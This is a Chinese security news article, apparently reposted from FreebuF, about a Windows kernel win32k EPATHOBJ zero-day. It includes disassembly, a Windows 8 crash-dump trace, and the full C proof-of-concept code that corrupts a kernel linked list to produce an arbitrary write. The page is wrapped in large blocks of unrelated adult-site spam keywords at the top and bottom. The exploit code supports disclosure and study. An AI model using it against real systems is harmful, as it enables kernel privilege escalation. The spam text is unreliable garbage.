精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Windows內(nèi)核EPATHOBJ 0day漏洞

安全 漏洞
Windows內(nèi)核EPATHOBJ 0day漏洞是通過對PATHALLOC()進行內(nèi)存壓力測試爆出的,首先利用PATHREC>指向相同的的用戶空間PATHREC EPATHOBJ::bFlatten它會”自旋”進行無限鏈表遍歷。

Windows內(nèi)核EPATHOBJ 0day漏洞是通過對PATHALLOC()進行內(nèi)存壓力測試爆出的,首先利用PATHREC>指向相同的的用戶空間PATHREC EPATHOBJ::bFlatten它會”自旋”進行無限鏈表遍歷。

如:PathRecord->next = PathRecord;

雖然它會自旋,但它會通過另一個線程池來打補丁(pprFlattenRec)到列表中的節(jié)點(因為它是在用戶空間)。

首先,創(chuàng)建一個”監(jiān)控線程( watchdog)”,atomically補丁列表,因為pprFlattenRec過早退出,bug不能被利用會導(dǎo)致HeavyAllocPool

pprFlattenRec :.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) 
.text:BFA122BD cmp eax, 1 ; Check for failure 
.text:BFA122C0 jz short continue 
.text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit

所以要創(chuàng)建一個這樣的節(jié)點列表:

PathRecord->Next = PathRecord;PathRecord->Flags = 0;

然后 EPATHOBJ::bFlatten()自旋:

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this){
    /* ... */

    for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
    {
      if ( ppr->flags & PD_BEZIER )
      {
        ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
      }
    }

    /* ... */}

 

可以先清掉另一個線程,然后再進行線程修復(fù)(因為在userspace是可以做到的)來觸發(fā)該漏洞

/ / EPATHOBJ的:: bFlatten()

第一個pprFlattenRec代碼塊:

if ( pprNew->pprPrev )
pprNew->pprPrev->pprnext = pprNew;寫入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter){     ## 此程序超時會等待一個mutex對象,然后修補受損的鏈表指向一個漏洞。
    
    LogMessage(L_INFO, Watchdog thread %u waiting on Mutex () %p”,
                       GetCurrentThreadId(),
                       Mutex);     if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        ## 使主(main)線程無法調(diào)用FlattenPath(),
        ## 因為內(nèi)核EPATHOBJ::bFlatten()自旋可以被清理(clear).
        ## 然后打補丁列表來觸發(fā)我們的exploit.
        while (NumRegion–)
            DeleteObject(Regions[NumRegion]);         

LogMessage(L_ERROR, InterlockedExchange(%p, %p);”, 

&PathRecord->next, &ExploitRecord);       

InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);     } else {
        LogMessage(L_ERROR, Mutex object did not timeout, list not patched”);
    }     return 0;} PathRecord->next = PathRecord;PathRecord->prev = (PVOID)(0×42424242);PathRecord->flags = 0;ExploitRecord.next = NULL;ExploitRecord.prev = 0xCCCCCCCC;ExploitRecord.flags = PD_BEZIERS;

在Win 8下的輸出:

kd> g
********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ********************************************************************************Use !analyze -v to get detailed debugging information.BugCheck 50, {cccccccc, 1, 8f18972e, 2}*** WARNING: Unable to verify checksum for ComplexPath.exe
*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )Followup: MachineOwner---------

nt!RtlpBreakWithStatusInstruction:810f46f4 cc              int     3
kd> kv
ChildEBP RetAddr  Args to Child              
a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
kd> .trap a03aba2c
ErrCode = 00000002
eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
win32k!EPATHOBJ::pprFlattenRec+0x82:8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
kd> vertarget
Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTSBuilt by: 9200.16581.x86fre.win8_gdr.130410-1505Machine Name:Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)System Uptime: 0 days 0:02:30.432
kd> .bugcheck
Bugcheck code 00000050Arguments cccccccc 00000001 8f18972e 00000002

 

以下是示例代碼POC:

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS#endif#include <windows.h>#include <assert.h>#include <stdio.h>#include <stddef.h>#include <winnt.h>#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS#endif#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013//

POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion;
HANDLE      Mutex;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH   0x00000001#define PD_ENDSUBPATH     0x00000002#define PD_RESETSTYLE     0x00000004#define PD_CLOSEFIGURE    0x00000008#define PD_BEZIERS        0x00000010typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[0];} PATHRECORD, *PPATHRECORD;


PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord;

DWORD WINAPI WatchdogThread(LPVOID Parameter){

    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
                       GetCurrentThreadId(),
                       Mutex);

    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        while (NumRegion--)
            DeleteObject(Regions[NumRegion]);

        LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);

        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);

    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }

    return 0;}int main(int argc, char **argv){
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    HRGN        Buffer;
    ULONG       PointNum;
    ULONG       Count;

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要從EPATHOBJ::pprflattenRec()鍵入PD——BEZIERS,這樣就可以觸發(fā)無限循環(huán)。
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

    ExploitRecord.next  = NULL;
    ExploitRecord.prev  = 0xCCCCCCCC;
    ExploitRecord.flags = PD_BEZIERS;

    LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                     NULL,
                     NULL,
                     0,
                     GENERIC_ALL,
                     NULL));

    Mutex = CreateMutex(NULL, TRUE, NULL);

    // Get a handle to this Desktop.
    Device = GetDC(NULL);

    // Spawn a thread to cleanup
    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.

    for (Size = 1 << 26; Size; Size >>= 1) {
        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
            NumRegion++;
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);


    LogMessage(L_INFO, "Flattening curves...");

    // Begin filling the free list with our points.
    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
        BeginPath(Device);
        PolyDraw(Device, Points, PointTypes, PointNum);
        EndPath(Device);
        FlattenPath(Device);
        FlattenPath(Device);
        EndPath(Device);
    }

    LogMessage(L_INFO, "No luck, cleaning up");

    // If we reach here, we didn't trigger the condition. Let the other thread know.
    ReleaseMutex(Mutex);

    ReleaseDC(NULL, Device);
    WaitForSingleObject(Thread, INFINITE);

    return 0;}// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...){
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

    return TRUE;}

 

責(zé)任編輯:藍雨淚 來源: FreebuF
相關(guān)推薦

2009-09-09 08:54:50

2011-03-15 15:14:22

2009-07-06 13:15:07

2021-10-06 13:48:50

0day漏洞攻擊

2025-11-13 09:39:01

2015-05-20 16:34:14

2013-12-02 14:50:25

2021-09-10 11:41:20

漏洞Windows 微軟

2021-07-27 11:01:02

Windows

2013-05-24 14:02:42

2022-03-25 13:41:55

漏洞網(wǎng)絡(luò)攻擊Quantum(量子

2011-08-26 11:44:01

2022-03-30 09:09:39

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2020-12-27 21:17:43

漏洞Google網(wǎng)絡(luò)攻擊

2017-02-07 11:00:26

2010-07-22 10:13:34

2019-05-28 15:55:18

2011-02-28 09:34:55

2020-12-17 10:28:27

漏洞網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2010-01-20 16:13:15

點贊
收藏

51CTO技術(shù)棧公眾號

欧美在线影院一区二区| 91农村精品一区二区在线| 久久这里只有精品视频首页| 男女性杂交内射妇女bbwxz| 日本在线影院| 亚洲视频一区二区在线观看| 精品在线视频一区二区| 中文字幕观看视频| 国产精品v日韩精品v欧美精品网站 | 最新日韩一区| 一区二区三区成人在线视频| 免费久久久一本精品久久区| 91亚洲国产成人精品一区| 欧美喷水视频| 亚洲性猛交xxxxwww| 国产xxxxhd| 向日葵视频成人app网址| 亚洲少妇30p| 日本视频一区在线观看| 丰满肉肉bbwwbbww| 国内一区二区视频| 日韩免费在线看| 欧美日韩精品一区二区三区视频播放| 久久av影视| 亚洲精品在线一区二区| 日韩精品视频一二三| 蜜桃在线视频| 一区二区三区在线高清| 日韩国产精品一区二区| 你懂的网站在线| 国产伦精品一区二区三区免费| 国产97在线播放| 欧美videosex性欧美黑吊| 亚洲蜜桃视频| 亚洲图片欧美午夜| 人妻av一区二区| 国产精品一区二区三区av | 精品一区二区三区毛片| 毛片免费在线观看| 99精品久久久久久| 成人看片在线| 国产成人三级在线播放| 久久超碰97中文字幕| 国产精品扒开腿做爽爽爽视频| 日韩伦理在线视频| 欧美体内she精视频在线观看| 久久精品男人天堂| 在线观看天堂av| 成人亚洲一区| 一区二区三欧美| 中文字幕国产专区| 自拍亚洲一区| 亚洲乱码国产乱码精品精天堂| 精品无码人妻少妇久久久久久| 欧美a在线观看| 日韩欧美综合在线| 麻豆av免费看| 超碰精品在线观看| 亚洲第一在线视频| 天天躁日日躁狠狠躁av麻豆男男| 91成人在线精品视频| 欧美成人精精品一区二区频| 久久久国产精品久久久| 日韩一区网站| 精品国产污污免费网站入口 | 久久精品一二三| 日韩高清av| 国产毛片在线| 中文字幕在线观看不卡视频| 中文字幕日韩一区二区三区 | 中文字幕综合网| 手机成人av在线| 制服丝袜在线播放| 亚洲福中文字幕伊人影院| 亚洲精品久久久久久久蜜桃臀| 黄页网站在线| 香蕉影视欧美成人| 久久久免费视频网站| 影视一区二区三区| 欧美乱妇一区二区三区不卡视频| 日韩不卡的av| 久草在线综合| 夜夜躁日日躁狠狠久久88av| 最新黄色av网址| 欧美在线资源| 91黑丝高跟在线| 成人毛片一区二区三区| 美国av一区二区| 91视频免费在线观看| 五月天婷婷视频| 国产日韩欧美精品在线| 熟女视频一区二区三区| 美洲精品一卡2卡三卡4卡四卡| 性做久久久久久久免费看| 国产又黄又猛又粗| 日韩成人在线看| 亚洲欧美三级在线| 亚洲欧美精品aaaaaa片| 亚洲毛片一区| 成人欧美一区二区三区黑人| 欧洲成人一区二区三区| 中文字幕av一区二区三区免费看| 精品无码av无码免费专区| 自拍偷拍亚洲视频| 91.com视频| 亚洲国产第一区| 成人在线亚洲| 97国产精品人人爽人人做| 一区二区自拍偷拍| www.亚洲国产| 成年人免费观看的视频| 中文在线最新版地址| 欧美一级免费观看| 精品人伦一区二区| 亚洲性图久久| 成人精品aaaa网站| 国产一级网站视频在线| 亚洲国产精品久久久久婷婷884 | 亚洲一品av免费观看| 欧美黄色一级网站| 美洲天堂一区二卡三卡四卡视频 | 亚洲制服丝袜av| 无需播放器的av| 麻豆一区二区麻豆免费观看| 性欧美大战久久久久久久免费观看| 在线免费看a| 亚洲成人手机在线| 国产女同无遮挡互慰高潮91| 日本欧美高清| 欧美国产亚洲视频| 国产精品欧美激情在线| 久久婷婷成人综合色| 草草草视频在线观看| 成人mm视频在线观看| 日韩精品中文字幕在线观看 | 亚瑟一区二区三区四区| 久久99热精品这里久久精品| 91精品国产色综合久久不8| 精品午夜av| 亚洲女成人图区| 日本视频免费在线| 成人在线一区二区三区| 裸体裸乳免费看| 久久精品资源| 在线视频欧美日韩| 波多野结衣黄色| 久久久久久99精品| 成人观看免费完整观看| 欧美a一欧美| 91国内精品久久| 日本大臀精品| 色哟哟在线观看一区二区三区| 韩国无码一区二区三区精品| 99精品视频免费观看| 国产麻豆一区二区三区在线观看| 欧美78videosex性欧美| 精品国产乱码久久久久久免费| 国产性70yerg老太| 成人av在线资源网站| 东北少妇不带套对白| 欧美美女黄色| 国产精品久久久久久av下载红粉 | 欧美xxxxx在线视频| 香蕉久久夜色精品国产使用方法| 91精品国产成人www| 欧美美女色图| 在线精品视频一区二区| 男女全黄做爰文章| 国产一区二区在线看| 久久www视频| 精品深夜福利视频| 日本欧美精品在线| 日韩专区在线| 欧美一区二区在线看| 精品午夜福利视频| 久久一夜天堂av一区二区三区| 亚洲三级视频网站| 中文字幕一区二区三区欧美日韩| 国产精品乱码一区二区三区| 亚洲美女久久精品| 精品国产自在精品国产浪潮| 亚洲精品久久久久久久久久久久久久 | 国产盗摄精品一区二区酒店| 日韩精品在线免费播放| 中文在线资源天堂| 亚洲精品成人天堂一二三| 日韩综合第一页| 免费高清视频精品| 2019日韩中文字幕mv| 国产一区99| 51国偷自产一区二区三区的来源| 免费v片在线观看| 深夜福利亚洲导航| 天堂网在线播放| 欧美日韩在线播放三区四区| 久久久久香蕉视频| 久久久不卡网国产精品一区| 日韩欧美中文视频| 亚洲女人av| 成人高清dvd| 欧美男男gaytwinkfreevideos| 成人综合国产精品| 吉吉日韩欧美| 欧美黑人一级爽快片淫片高清| 国产在线视频网| 亚洲精品在线电影| 97超碰资源站| 日韩欧美aaa| 久久久久久久福利| 国产精品三级在线观看| 亚洲天堂资源在线| 国产麻豆精品久久一二三| 成年人黄色片视频| 最新日韩欧美| 特大黑人娇小亚洲女mp4| 波多野结衣在线观看一区二区| 91久久偷偷做嫩草影院| 玖玖精品在线| 国产精品久久久久av免费| 国产不卡人人| 色综合91久久精品中文字幕| 免费大片在线观看www| 亚洲欧美999| 少妇无码一区二区三区| 欧美一二三在线| 一本一道精品欧美中文字幕| 91传媒视频在线播放| 欧美日韩乱国产| 亚洲国产婷婷综合在线精品| 国产精品久久久久久久精| 日本一区二区成人| 国产精成人品免费观看| 91小视频免费看| 中文字幕第九页| 国产91丝袜在线播放0| 国产农村妇女精品久久| 精品一区二区三区香蕉蜜桃| 男女啪啪网站视频| 老**午夜毛片一区二区三区| 久久无码高潮喷水| 国产精品一卡| 大j8黑人w巨大888a片| 亚洲无线视频| 成人精品视频在线播放| 精品不卡视频| 全黄性性激高免费视频| 91久久久久| www插插插无码视频网站 | 国产做受高潮69| 牛牛精品视频在线| 久久久久久国产精品久久| 欧美人与性动交α欧美精品图片| 欧美不卡视频一区发布| 性欧美1819sex性高清大胸| 欧美成人免费观看| 青青草原av在线| 国内精品久久久久久久| 国产粉嫩在线观看| 欧美在线观看网址综合| 亚洲妇女成熟| 国产成人av网| 天天综合在线观看| 97人人干人人| 欧美一区二区三区久久| 欧美一级爽aaaaa大片| 成人毛片免费看| 最新欧美日韩亚洲| 欧美精品国产一区| 精品无码一区二区三区在线| 性高湖久久久久久久久| 黄色一级免费大片| 久草这里只有精品视频| 黄页网站在线看| 26uuu色噜噜精品一区二区| 第一次破处视频| 成人免费视频在线观看| 久久久香蕉视频| 日本国产一区二区| 国产美女精品视频国产| 亚洲福利精品在线| jyzzz在线观看视频| 欧美成aaa人片免费看| 日韩激情电影| 成人久久精品视频| 久久这里只有精品一区二区| 色噜噜狠狠色综合网| 亚洲一本二本| 久草青青在线观看| 狠狠色综合播放一区二区| 亚洲av无码专区在线播放中文| xnxx国产精品| 欧美老熟妇一区二区三区| 精品国产乱码久久久久久婷婷| 亚洲欧美一二三区| 日韩一级黄色片| 国产在线视频网| 国内精品久久久久久| 久久亚洲精品人成综合网| 国产欧美在线一区二区| 日韩欧美精品一区| 久久久久久久午夜| 狠狠狠色丁香婷婷综合激情| 一本加勒比波多野结衣| 亚洲天堂精品在线观看| 免费av网站在线| 日韩精品一区二区三区在线| 欧洲一级在线观看| 久久99精品国产99久久6尤物| 成人爱爱网址| 成人动漫在线视频| 99久久激情| 精品视频无码一区二区三区| 成人美女在线观看| 成年人午夜剧场| 欧美在线免费播放| 亚洲aⅴ在线观看| 色综合久综合久久综合久鬼88| av免费在线一区| 欧美凹凸一区二区三区视频| 国模 一区 二区 三区| 第一区免费在线观看| 国产日韩成人精品| 精产国品一区二区| 日韩精品在线私人| 超碰资源在线| 国产精品毛片va一区二区三区| 一区二区电影在线观看| 中文字幕永久有效| 国产精品美女久久久久久久| 成人公开免费视频| 亚洲欧美日韩一区在线| 牛牛精品一区二区| 九九久久99| 亚洲麻豆av| 蜜桃精品成人影片| 大桥未久av一区二区三区| 日本免费不卡视频| 韩日欧美一区二区| 东京久久高清| 久久久久久免费看| 99热在这里有精品免费| 日本特黄特色aaa大片免费| 亚洲国产精品高清久久久| 超黄网站在线观看| 国产原创精品| 亚洲深夜激情| 97人妻精品一区二区免费| 欧美性xxxx在线播放| 国产在线电影| 国产精品色午夜在线观看| 日本一区二区高清不卡| 国产三级国产精品国产专区50| 国产精品每日更新在线播放网址 | 久草成人在线视频| 精品三级在线观看| 超碰在线视屏| 日韩国产伦理| 九九九久久久精品| 欧美做爰爽爽爽爽爽爽| 精品美女一区二区| 麻豆mv在线看| 水蜜桃一区二区三区| 捆绑紧缚一区二区三区视频| 成人免费视频网站入口::| 91精品国产综合久久精品app| 性xxxxfjsxxxxx欧美| 国外成人在线视频网站| 国产精品亚洲欧美| 大胸美女被爆操| 日韩视频不卡中文| 美女视频在线免费| 亚洲欧洲一区二区在线观看| 国产一区二区伦理片| 国产午夜精品无码一区二区| 日韩精品中文字| 99视频这里有精品| 日本丰满少妇xxxx| 中文字幕第一区| 亚洲欧美强伦一区二区| 国产成人在线精品| 综合一区二区三区| 天天躁日日躁aaaxxⅹ| 在线不卡一区二区| 美女搞黄视频在线观看| 一区二区三区精品国产| 成人高清视频免费观看| 伊人色综合久久久| 午夜精品蜜臀一区二区三区免费| 国产精品最新| 18禁一区二区三区| 欧美亚州韩日在线看免费版国语版| caopon在线免费视频| 开心色怡人综合网站| 狠狠色丁香久久婷婷综| 人人爽人人爽人人片av| 欧美精品一本久久男人的天堂| 亚洲小说图片视频| 肉丝美足丝袜一区二区三区四| 色综合天天做天天爱| jizz性欧美|